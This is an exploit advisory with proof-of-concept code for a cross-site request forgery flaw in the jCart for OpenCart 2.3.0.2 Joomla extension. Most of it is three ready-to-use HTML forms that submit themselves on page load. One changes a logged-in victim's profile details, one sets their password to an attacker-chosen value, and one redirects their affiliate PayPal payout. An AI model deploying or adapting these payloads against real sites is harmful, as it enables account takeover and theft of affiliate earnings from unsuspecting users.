Joomla! Component jCart for OpenCart 2.3.0.2 Cross-Site Request Forgery

# Exploit Title: Joomla! extension jCart for OpenCart 2.3.0.2 - Cross site request forgery
# Date: 2018-05-28
# Exploit Author: L0RD or borna.nematzadeh123@gmail.com
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/e-commerce-integrations/jcart-for-opencart/
# Vendor Homepage: https://www.joomlaextensions.co.in/
# Version: 2.3.0.2
# Tested on: Kali linux
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# POC :

# Change user information exploit :

<html>
  <body>
    <form action="http://site.com/jcart/account/edit.html" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="firstname" value="D3C0DE" />
      <input type="hidden" name="lastname" value="revenge" />
      <input type="hidden" name="email" value="decod3&#46;n&#64;gmail&#46;com" />
      <input type="hidden" name="telephone" value="100000" />
    </form>
    <script>
        document.forms[0].submit();
    </script>
  </body>
</html>


# Change password exploit :

<form action="http://site.com/jcart/account/password.html" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="password" value="2468" />
      <input type="hidden" name="confirm" value="2468" />
</form>
<script>
   document.forms[0].submit();
</script>


# Change affiliate account information exploit :

 <form action="http://site.com/jcart/account/affiliate/edit.html" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="company" value="decode" />
      <input type="hidden" name="website" value="test&#46;com" />
      <input type="hidden" name="tax" value="100000000" />
      <input type="hidden" name="payment" value="paypal" />
      <input type="hidden" name="cheque" value="&#13;" />
      <input type="hidden" name="paypal" value="test&#64;test&#46;com" />
      <input type="hidden" name="bank&#95;name" value="&#13;" />
      <input type="hidden" name="bank&#95;branch&#95;number" value="&#13;"/>
      <input type="hidden" name="bank&#95;swift&#95;code" value="&#13;" />
      <input type="hidden" name="bank&#95;account&#95;name" value="&#13;" />
      <input type="hidden" name="bank&#95;account&#95;number" value="&#13;"/>
    </form>
    <script>
        document.forms[0].submit();
    </script>

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